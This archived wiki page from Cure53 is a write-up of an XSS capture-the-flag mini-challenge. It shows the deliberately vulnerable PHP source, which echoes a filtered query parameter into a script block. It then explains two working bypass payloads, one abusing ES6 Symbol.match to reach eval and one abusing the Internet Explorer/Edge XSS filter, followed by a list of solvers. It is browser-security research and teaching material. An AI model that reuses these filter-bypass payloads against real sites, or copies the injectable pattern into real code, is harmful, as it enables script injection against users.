Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

H5SC Mini Challenge 5

Cure53 edited this page Apr 26, 2016 · 10 revisions

H5SC Mini-Challenge 5

This Min-Challenge was created with two things in mind: ECMA Script 6 Symbols and XXN attacks. Both are highly interesting, especially with complex JavaScript-heavy applications in mind - but similarly, require a couple of stars to be aligned the right way.

Source Code

This is the PHP source code we used for the challenge:

<?php
header('X-Frame-Options: DENY');
header('X-Content-Type-Options: nosniff');
header('X-Download-Options: noopen');
header('Content-Type: text/html; charset=utf-8');
?>
<!doctype html>
<h6>A challenge by Masato, FD and .mario</h6>
<h1>The XSS Metaphor</h1>
<p>
Is it real?
<br>
Can it be?
<br>
What is the meaning of life?
<br>
Can you execute <code>alert(1)</code> in this origin?
<br>
Is the vulnerable parameter called <code>xss</code>? 
<br>
Does it matter?
</p>
<script type="text/javascript">
<?php
$_GET['xss'] = isset($_GET['xss']) ? $_GET['xss'] : '1';
?>onload=onhashchange=func;
function func(){
	try{
        <?php echo preg_replace('/[^0-9A-Za-mo-z.\[\]=]/', ' ', $_GET['xss']);?>;
		u=location.hash.slice(1);
		if(u.match(/^https?:\/\/cure53.de\//)) {
	            "/"+u.match(/\\/);
	    		location=u;
		}
	}catch(e){
	    	throw <?php echo preg_replace('/[^0-9A-Za-mo-z.\[\]=]/', ' ', $_GET['xss']);?>;
	}
}
</script>
<p>In scope are recent Chrome, Edge and Firefox browsers.
<br>
There is more than one expected solution. One easy, one hard. Experts will find both. User interaction is not required.</p>
<h2>Winners</h2>
<ol>
	<li>You?</li>
</ol>
<p>
Mail <a href="mailto:[email protected]">.mario</a> or <a href="mailto:[email protected]">FD</a> or <a href="mailto:[email protected]">Masato</a> if you did it :)
</p>

As you can see, the challenge here is, that we do have an injection but it is heavily restricted and only allows for a very small range of characters. Letters other than [^0-9A-Za-mo-z.\[\]=] will be replaced with an empty space, rendering most reasonable script-payloads to be useless.

Expected Solution One

The first expected solution, basically the idea the challenge was born around was the use of ECMA Script 6 Symbols. Symbols are a very powerful feature but don't receive too much attention in the XSS community. Maybe because they are quite crude in their goals, overly specific - and yet another multi-tool hidden behind one single feature.

Mozilla's MDN has a great write-up about symbols, other websites have goo info too:

Yep, that's JavaScript Meta-Programming right there :)

Now, here is our model solution, working in Chrome 51:

<a 
      href="https://html5sec.org/minichallenges/5?xss=RegExp.prototype[Symbol.match]=eval#https://cure53.de/=1&#x2028;alert(1)" 
      target="_blank"
>CLICK</a>

The following code would be injected into the page:

RegExp.prototype[Symbol.match]=eval

This code would turn the Regex.match() into an actual eval. By then matching the following string, the eval would receive first a label called http: and then, in the next line, a value that is alert(1). Done - challenge solved :)

https://cure53.de/=1&#x2028;alert(1)
^label ^comment     ^LS     ^alert :D

This solution and comparable ones, shown below later on, were found by the majority of participants.

Expected Solution Two

This solution was only found by one of the participants. And it involves XXN, one of the most subtle yet powerful attacks that is exclusively affecting MSIE and Edge. XXN, also referred to as "X-XSS-Nightmare" makes use of the risky behavior, MSIE's XSS filter choses to work with in the default configuration.

To get a great into into XXN, best have a look at Masato Kinugawa's outstanding research:

The expected solution number two looks like this:

https://html5sec.org/minichallenges/5?xss=slice=alert&"++++++++++++++++++++++++++++++hash.slice++++++++++++++++++++++++++=

Now, let's have a very close look at what this does. The original source of the challenge looks like this:

u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
    "/"+u.match(/\\/);
    location=u;
}

Now, when we open the URL above in MSIE11 or Edge, the script all of a sudden changes to this:

u=location.hash^slice(1); // See this? The dot becomes a caret! IE's XSS filter does this.
if(u.match(/^https?:\/\/cure53.de\//)) {
    "/"+u.match(/\\/);
    location=u;
}

Now, thanks to the XSS filter, the original script gets modified. This enables our injection to step in and enable the rest of the attack to work: slice=alert.

See, we decoupled slide from location by having the IE XSS filter exchange the dot with a caret (which is a valid JavaScript operator). That allows the injection to have effect - and we successfully execute the demanded alert.

Unexpected Solutions

Now, what would a proper XSS challenge be without any unexpected solutions :) We received several ones and every single one was outstanding and mind-blowing! Here we go:

Tamás Hegedűs' Solution

Pepe Vila & aerøx' Solution

Michał Bentkowski's Solution

Simon Lindholm's Solution

Solvers

  1. Gábor Molnár, who found both possible solutions (confirmed on 18th of April 2016, 2pm)
  2. A gentleman going by the name phiber, one of two solutions (confirmed on 20th of April 2016, 4pm)
  3. David Júlio, who found one of two solutions (confirmed on 21st of April 2016, 11am)
  4. Tamás Hegedűs with an incredible and complex unexpected solution, wow! (confirmed on 23rd of April, 9pm)
  5. Pepe Vila & aerøx, who found two solutions, one being unexpected! (confirmed on 25th of April 2016, 2pm)
  6. Michał Bentkowski with two solutions, one of them completely unexpected! (confirmed on 26th of April 2016, 10am)
  7. Simon Lindholm, with one expected and one unexpected solution :D (confirmed on 26th of April 2016, 10am)